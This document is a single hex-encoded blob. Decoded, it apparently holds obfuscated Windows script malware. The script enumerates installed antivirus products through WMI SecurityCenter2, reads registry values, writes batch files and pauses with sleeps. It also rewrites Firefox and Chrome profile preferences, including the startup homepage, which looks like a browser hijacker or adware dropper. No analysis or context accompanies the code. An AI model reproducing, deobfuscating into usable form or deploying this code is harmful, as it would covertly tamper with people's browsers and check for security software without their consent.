c2c6867db7b77d86bcc6b6c6c0d4b884867d7d96c4c183cfcfce89cec0bccdbec3837d89c0d3c07d847c98888c84d6cfcfce8d98cfcfce89ced0bdcecfcdc4c9c2838b87cfcfce89cec0bccdbec3837d89c0d3c07d848496cfcfce8e98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837d957d84888c87cfcfce8d89c7c0c9c2cfc384867d89c0d3c07d96c4c183bc89a1c4c7c0a0d3c4cecfce83cfcfce8e849898cfcdd0c084d6c4beca98cfcfce8e96d8c4c183cfcfce8d89c4c9bfc0d3aac1837db7b77d847c98888c84d6cfcfce8d98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87cfcfce8d89c7c0c9c2cfc38496d8cfbcce98cfcfce8d96d8d8d8bebccfbec383c084d6d8c4c183cfbcce89c4c9bfc0d3aac1837d7b7d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d7b7d848496d8c4c183cfbcce89c4c9bfc0d3aac1837d897d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d897d848496d8cfcdd4d6c9c0d2bf98c1ced596cac7bfbfc198bd89adc0c2adc0bcbf83d2c7c28496cac7bfbfc198cac7bfbfc189ced0bdcecfcdc4c9c283cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d7b7d8284868e87cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d82848496d8bebccfbec383c084d6cac7bfbfc198cec3bed0838496d8c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6be8f98bc89a2c0cfa1c4c7c083cac7bfbfc18489abbccdc0c9cfa1cac7bfc0cd96cac7bfbf98bc89a2c0cfa1c4c7c083cac7bfbfc18489cec4d5c096d8c0c7cec0d6cac7bfbf988b96cac7bfbfc198be8f867db7b77d86be9096d8c4c183c9c0d2bf9998cac7bfbf84d6c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988b96d8bfbd89aacbc0c9838496cfcdd4d6bcd198a2c0cfaabdc5c0becf837dd2c4c9c8c2c8cfce95d6c4c8cbc0cdcecac9bccfc4cac9a7c0d1c0c798c4c8cbc0cdcecac9bccfc0d87cb7b7b7b789b7b7cdcacacfb7b7aec0bed0cdc4cfd49ec0c9cfc0cd7d8683c9cf919a828d82958282848496bcd1c498bcd189a0d3c0beacd0c0cdd4837daea0a7a09eaf7b857ba1adaaa87b9cc9cfc4b1c4cdd0ceabcdcabfd0becf7d877db2aca77d8496c9bcd1c498c9c0d27ba0c9d0c8c0cdbccfcacd83bcd1c48496bcc9cfd198c9c0d27b9ccdcdbcd4838496c1cacd83967cc9bcd1c489bccfa0c9bf838496c9bcd1c489c8cad1c0a9c0d3cf838484d6cabcd198c9bcd1c489c4cfc0c8838496bcc9cfd189cbd0cec383cabcd189bfc4cecbc7bcd4a9bcc8c08496d8d8bebccfbec383c084d6bcc9cfd198c9c0d27b9ccdcdbcd4837da99c9e7d8496d8cfcdd4d6d1c4be987d977d86bd89adc0c2adc0bcbf837da3a69eb0b7b7b1cac7bccfc4c7c07ba0c9d1c4cdcac9c8c0c9cfb7b7a7aaa2aaa9aea0adb1a0ad7d8489cdc0cbc7bcbec0837db7b7b7b77d877d7d84867d957d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7abcdcabfd0becfa9bcc8c07d84867d987d86ce89a9bcc8c0aecbbcbec0838f8b84867d957d86bcc9cfd1867d997d96d8bebccfbec383c084d6d1c4be987d7d96d8becabf98bec4838496c4c183becabf89cec0bccdbec383d1c4be849898888c8181cdbcbf7c988b84d6c9bfbc98d1c4be867d85858a7d96c3c4ce98becabf89cdc0cbc7bcbec0837d85858a7d87c9bfbc8496bfbd89b2cdc4cfc0afc0d3cf83c3c4ce8496d8c0c7cec0d6bfbd89b2cdc4cfc0afc0d3cf83becabf8496d8bfbd89aebcd1c0afcaa1c4c7c083cac7bfbfc1878d8496bfbd899ec7cacec0838496cfcdd4d6c4c183bc89a2c0cfa1c4c7c083cac7bfbfc18489aacbc0c99cceafc0d3cfaecfcdc0bcc8838c87888d8489adc0bcbf9cc7c7838489bec3bccd9ecabfc09ccf838b847c988c8d8d84d6bc899ecacbd4a1c4c7c083c287cac7bfbfc187cfcdd0c08496d8bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988d96d8bebccfbec383c084d6d8d2cec398be8f867db7b77d86cfbcce867d89c0d3c07d96cfcdd4d6bc899ecacbd4a1c4c7c083d2cebe87d2cec38496d8bebccfbec383c084d6d8bc89a2c0cfa1c4c7c083d2cec384899ccfcfcdc4bdd0cfc0ce988d96cfcdd4d6bfcdc298827d8286d2cec386827d7b7d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d8296cec3bed0838496c0be98bd899ecdc0bccfc0aec3cacdcfbed0cf83be8e867db7b77d86cfbcce867d89c7c9c67d8496c0be89afbccdc2c0cfabbccfc398be8f867db7b77d86cfbcce867d89c0d3c07d96c0be899ccdc2d0c8c0c9cfce98827d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce8296c0be89a4becac9a7cabebccfc4cac998c4beca96c0be89aebcd1c0838496bd89adc0c2b2cdc4cfc083d2c7c287bfcdc28782ada0a2baaeb5828496b2aebecdc4cbcf89aec7c0c0cb83949494948496c4c183bd89adc0c2adc0bcbf83d2c7c2849898bfcdc284d6bc899fc0c7c0cfc0a1c4c7c083be8e867db7b77d86cfbcce867d89c7c9c67d8496d8d8bebccfbec383c084d6d8d8d8c0c7cec0d6cfcdd4d6c4c183b2aebecdc4cbcf899ccdc2d0c8c0c9cfce89c7c0c9c2cfc398988b84d6bd89cdd0c9837dc0d3cbc7cacdc0cd89c0d3c07d8496d8d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb98c9c0d27b9ccdcdbcd4838496cfbec8bf98c9c0d27b9ccdcdbcd4838496c1cacd83cf988b96cf979496cf868684d6cfbec8bf89cbd0cec383cfcacf867db7b7af9e8d8b8c7d86cf867db7b7cfbec4c2c9cacdc089cfd3cf7d8496cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfbec8bf89cbd0cec3837dbe95b7b7cfcacfbcc7bec8bfb7b7cfbec4c2c9cacdc089cfd3cf7d8496c1cacd83cf988b96cf97cfbec8bf89c7c0c9c2cfc396cf868684d6c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb889cdc0cbc7bcbec0837dcfbec4c2c9cacdc089cfd3cf7d877dd2c4c9bec8bf89c4c9c47d84849898cfcdd0c084d6cfcdd4d6bfbd89aacbc0c9838496c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb8849898c1bcc7cec084d6cfcfc998bc899ecdc0bccfc0afc0d3cfa1c4c7c083cfbec8bfb6cfb887cfcdd0c08496cfcfc989b2cdc4cfc0837d858589858589c5cec07d8496cfcfc989bec7cacec0838496d8c4c2c7987d7d96cfcdd4d6bfbd89a7cabcbfa1cdcac8a1c4c7c083cfbec8bfb6cfb88496c4c2c798bfbd89adc0bcbfafc0d3cf96d8bebccfbec383c084d6d8bfbd899ec7cacec0838496c4c183c4c2c789c4c9bfc0d3aac1837d858589858589c5cec07d849898888c84d6bfbd89aacbc0c9838496bfbd89b2cdc4cfc0afc0d3cf83c4c2c7878c8496bfbd89b2cdc4cfc0afc0d3cf837d858589858589c5cec07d878c8496bc899fc0c7c0cfc0a1c4c7c083cfbec8bfb6cfb88496bfbd89aebcd1c0afcaa1c4c7c083cfbec8bfb6cfb88496bfbd899ec7cacec0838496d8d8bebccfbec383c084d6d8cfcdd4d6cfcacd98bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878c87cfcdd0c0878b8496cfcabc98cfcacd89adc0bcbf9cc7c7838496c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d847c98888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d877da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988c7d8496d8c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0987d849898888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837db69ecac9c1c4c2d0cdbccfc4cac9b87d877db69ecac9c1c4c2d0cdbccfc4cac9b87d867db7c9a4c2c9cacdc0a7c4cecfa1c4c7c0987d86cfbec8bfb6cfb88496d8c4c183cfbec8bfb6cfb889cec0bccdbec3837daf9e8d8b8c7d847c98888c84d6c4c183cfcabc89cec0bccdbec3837d988589c5cec07d849898888c84d6c1c4c7cf98cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d84869187cfcabc89c7bccecfa4c9bfc0d3aac1837d89c4becac9987d848496c0c9c198cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d8487cfcabc89c7c0c9c2cfc38496c0c9c798c0c9c189ced0bdcecfcdc4c9c2838b87c0c9c189c4c9bfc0d3aac1837db7c97d84868c8496c1c7c998c9c0d27ba9d0c8bdc0cd83c1c4c7cf84868c96c1c4becac998cfcabc89ced0bdcecfcdc4c9c283cfcabc89cec0bccdbec3837da1c4c7cfc0cd8c8c89c4becac9987d84868c8f87cfcabc89c7c0c9c2cfc38496bfc4becac998c1c4becac989ced0bdcecfcdc4c9c2838b87c1c4becac989cec0bccdbec3837db7c97d848496cfcabc98cfcabc89cdc0cbc7bcbec083c0c9c787c0c9c7867db7c9a1c4c7cfc0cd7d86c1c7c9867d988589c5cec0b7c9a1c4c7cfc0cd7d86c1c7c9867d89c4becac9987d86bfc4becac9867db7c97d8496cfcabc98cfcabc89cdc0cbc7bcbec0837da1c4c7c0afc4cbb2c4c9bfcad2ce988c7d877da1c4c7c0afc4cbb2c4c9bfcad2ce988b7d8496d8d8cfcacd89bec7cacec0838496cfcad298bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878d87cfcdd0c0878b8496cfcad289b2cdc4cfc083cfcabc8496cfcad289bec7cacec0838496d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7a4c9cfc0cdc9c0cf7ba0d3cbc7cacdc0cdb7b7a8bcc4c9b7b7aecfbccdcf7babbcc2c07d87cecfcb877dada0a2baaeb57d84d8bebccfbec383c084d6d8cfcdd4d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d849898cfcdd0c084d6c1cbc198bc89a2c0cfa1cac7bfc0cd83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d8496cbc1c198c9c0d27ba0c9d0c8c0cdbccfcacd83c1cbc189aed0bda1cac7bfc0cdce8496c1cacd83967ccbc1c189bccfa0c9bf838496cbc1c189c8cad1c0a9c0d3cf838484d6cbc1ce98cbc1c189c4cfc0c88384867d7d96c4c183cbc1ce89cec0bccdbec3837d89bfc0c1bcd0c7cf7d847c98888c84d6c1bec1cb89cbd0cec383cbc1ce8496d8d8d8c1cacd83cc988b96cc97c1bec1cb89c7c0c9c2cfc396cc868684d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d849898cfcdd0c08496d6c1c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878c8496c1c5ce98c1c5c189adc0bcbf9cc7c7838496c1c5c189bec7cacec0838496d0cecb9882d0cec0cdbacbcdc0c1837dbdcdcad2cec0cd89cecfbccdcfd0cb89c3cac8c0cbbcc2c07d878296c4c183c1c5ce89c4c9bfc0d3aac183d0cecb847c98888c84d6c1c5ce8c98c1c5ce89ced0bdcecfcdc4c9c283c1c5ce89c4c9bfc0d3aac183d0cecb84868e9287c1c5ce89c7c0c9c2cfc38496c1c5ce8d98c1c5ce8c89ced0bdcecfcdc4c9c2838b87c1c5ce8c89c4c9bfc0d3aac1838284968284868d8496c1c5ce8e98c1c5ce89cdc0cbc7bcbec083d0cecb86c1c5ce8d87d0cecb86827b7d8286cecfcb86827d8496828496d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878d8496d2c5c189b2cdc4cfc083c1c5ce8e8496d8c0c7cec0d6d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d87938496d2c5c189b2cdc4cfc0a7c4c9c08382b7c98286d0cecb86827b7d8286cecfcb86827d8496828496d8d2c5c189bec7cacec0838496d8d8bebccfbec383c084d6d8d8d8bebccfbec383c084d6d8cfcdd4d6c2c1ce98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837da2cacac2c7c07d8489abbccfc3867db7b79ec3cdcac8c0b7b7b0cec0cd7b9fbccfbcb7b79fc0c1bcd0c7cfb7b7abcdc0c1c0cdc0c9bec0ce7d96c4c183bc89a1c4c7c0a0d3c4cecfce83c2c1ce849898cfcdd0c084d6c2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878c8496c2c5ce98c2c5c189adc0bcbf9cc7c7838496c2c5c189bec7cacec0838496c2c5cec998c2c5ce89c7c0c9c2cfc396d0cdce98827dd0cdc7cebacfcabacdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d957bb68296cdcace98827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d958296cdcacec898827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cbbac8c4c2cdbccfc0bf7d958296c4c183c2c5ce89c4c9bfc0d3aac183cecfc7849898888c84d6c4c183c2c5ce89c4c9bfc0d3aac183d0cdce847c98888c84d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183d0cdce84868e8c87c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db87d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083d0cdce86c2c5ce8d87d0cdce86827b7d8286cecfcb86827d877b8286c2c5ce8d8496d8c0c7cec0d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcacec88487c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db7c97d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083c2c5ce8d87cdcacec886827bcfcdd0c087b7c9b7cf8286d0cdce86827b7d8286cecfcb86827d7bb8b7c9828496d8c2c5ce8f98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcace8487c2c5cec98496c2c5ce9098c2c5ce8f89ced0bdcecfcdc4c9c2838b87c2c5ce8f89c4c9bfc0d3aac18382878284868c8496c2c5ce8e98c2c5ce8e89cdc0cbc7bcbec083c2c5ce9087cdcace86827b8f87828496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8e8496d2c5c289bec7cacec0838496d8c0c7cec0d6c1bfce98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cecfc78487c2c5ce89c7c0c9c2cfc38496c1bfbe98c1bfce89ced0bdcecfcdc4c9c2838b87c1bfce89c4c9bfc0d3aac183827d82848496c2c5ce8f98c2c5ce89cdc0cbc7bcbec083c1bfbe87cecfcb8496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8f8496d2c5c289bec7cacec0838496d8d8d8bebccfbec383c084d6d8c8c6838496d8d8c1d0c9becfc4cac97bc8c68384d6b2aebecdc4cbcf89aec7c0c0cb838c8d8b8b8b8b8496cfcdd4d6be98c9c0d27ba0c9d0c8c0cdbccfcacd83bc899fcdc4d1c0ce8496c1cacd83967cbe89bccfa0c9bf838496be89c8cad1c0a9c0d3cf838484d6cfc4cbcabfc4cebeca98be89c4cfc0c88384899fcdc4d1c0afd4cbc096ced2c4cfbec383cfc4cbcabfc4cebeca84d6bebccec07b8c95bebccec07b8e95c4c183be89c4cfc0c883847c987d9c957d7b81817bbe89c4cfc0c883847c987d9d957d84d6cfcdd4d6cec198bc89a2c0cfa1cac7bfc0cd83cbc083be89c4cfc0c88384867db7b77d848496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83cec189c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d89a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d3849898c1bcc7cec084d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988bd896c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083cec1867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8cec1987d7d96d8bdcdc0bcc696bfc0c1bcd0c7cf95bdcdc0bcc696d8d8d8bebccfbec383c084d6d8cfcdd4d6c4c183c3cdbc978c8d84d6c3cdbc86988c96d8c4c183c3cdbc98988c8d84d6bfc9ce98ce89a9bcc8c0aecbbcbec0838c938496c0c9ce98bfc9ce89a4cfc0c8ce8384899ecad0c9cf96c3c9ce98c9c0d27b9ccdcdbcd4838496c1cacd83c1988b96c197c0c9ce96c1868684d6c2c9ce98bfc9ce89a4cfc0c8ce838489c4cfc0c883c18496c3c9ce89cbd0cec3837dbfc9ce89a4cfc0c8ce838489a4cfc0c8837d86c1867d8489a2c0cfa1cac7bfc0cd7d8496d8c1cacd83c4988b96c497c3c9ce89c7c0c9c2cfc396c4868684d6cfcdd4d6c5c9ce98c0d1bcc783c3c9ceb6c4b88489a4cfc0c8ce8384899ecad0c9cf96c1cacd83c7988b96c797c5c9ce96c7868684d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84849898c1bcc7cec084d6c3c9ce89cbd0cec383c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489a2c0cfa1cac7bfc0cd7d8496d8c0c7cec0d6cfcdd4d6bfc4ce98cbc083c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84867db7b77d84867d7d96bfc498bc89a2c0cfa1cac7bfc0cd83bfc4ce8496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83bfc489c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d89a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d3849898c1bcc7cec08181bfc4ce89bec3bccd9ccf838c847c987d957d84d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083bfc4867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8d8c3cdbc988b96d8d8bebccfbec383c084d6d8c8c6838496d8c1d0c9becfc4cac97bbec48384d6cfcdd4d6bfbd8d98bc89aacbc0c9afc0d3cfa1c4c7c083c2878c8496c28d98bfbd8d89adc0bcbf9cc7c7838496bfbd8d899ec7cacec0838496c28e98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec38382d5987d8284868e87c28d89cec0bccdbec383827d9682848496c28c98c28d89ced0bdcecfcdc4c9c2838b87c28d89cec0bccdbec38382d5987d8284868e8496c2cd98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec383827d96828487c28d89c7c0c9c2cfc38496cf98c7c796cfcf987d7d96cfc898cf89c7c0c9c2cfc396cdbcbe98a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485949384868c96c1cacd83d3988b96d397cfc896d3868684d6c9d0c898cf89bec3bccd9ecabfc09ccf83d38486cdbcbe96c3d398c9d0c889cfcaaecfcdc4c9c2838c918496c4c183c3d389c7c0c9c2cfc3978d84d6c3d3987d8b7d86c3d396d8cfcf8698c3d396c3d398828296d8c4c183cdbcbe978c8b84d6cdbcbe987d8b7d86cdbcbe96d8cfcf8698cdbcbe96c28f98c28c86cfcf86c2cd96cdc0cfd0cdc97bc28f96d8bebccfbec383c084d6d8d8c1d0c9becfc4cac97bcbc083cfbccd84d6cac9c0c198c1bcc7cec096cec1cb98bc89a2c0cfa1cac7bfc0cd83cfbccd8496cfc2be98c9c0d27ba0c9d0c8c0cdbccfcacd83cec1cb89ced0bda1cac7bfc0cdce8496c1cacd83967ccfc2be89bccfa0c9bf838496cfc2be89c8cad1c0a9c0d3cf838484d6cecfbe98cfc2be89c4cfc0c8838489a9bcc8c089cfcaa7cad2c0cd9ebccec0838496c4c183cecfbe89cec0bccdbec3837dc1cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc3cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8bcc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8b7d08b8ba08cc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc4becfd0cdc07d847c98888c84d6c4c183cac9c0c19898c1bcc7cec084d6cec1cb98bc89a2c0cfa1cac7bfc0cd83cfc2be89c4cfc0c88384867db7b77d8496d8cac9c0c198cfcdd0c096d8d8cdc0cfd0cdc97bcec1cb96d8c1d0c9becfc4cac97bcec3bed08384d6becec3be987d7d96c7c9c6ce98c9c0d27ba0c9d0c8c0cdbccfcacd83bc89a2c0cfa1cac7bfc0cd83be8e8489c1c4c7c0ce8496c1cacd83967cc7c9c6ce89bccfa0c9bf838496c7c9c6ce89c8cad1c0a9c0d3cf838484d6cfcdd4d6c7c6ce98c7c9c6ce89c4cfc0c88384867d7d96c4c183c7c6ce89ced0bdcecfcdc4c9c283c7c6ce89c7c0c9c2cfc3888f87c7c6ce89c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838498987d89c7c9c67d84d6c7c9c6bc98bd899ecdc0bccfc0aec3cacdcfbed0cf83c7c9c6ce89c4cfc0c8838484899ccdc2d0c8c0c9cfce96c4c183c7c9c6bc89cec0bccdbec3837d8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce7d847c98888c84d6becec3be98c7c9c6bc89ced0bdcecfcdc4c9c283c7c9c6bc89c4c9bfc0d3aac183827d8284868c87c7c9c6bc89c7bccecfa4c9bfc0d3aac183827d82848496bc899fc0c7c0cfc0a1c4c7c083c7c9c6ce89c4cfc0c88384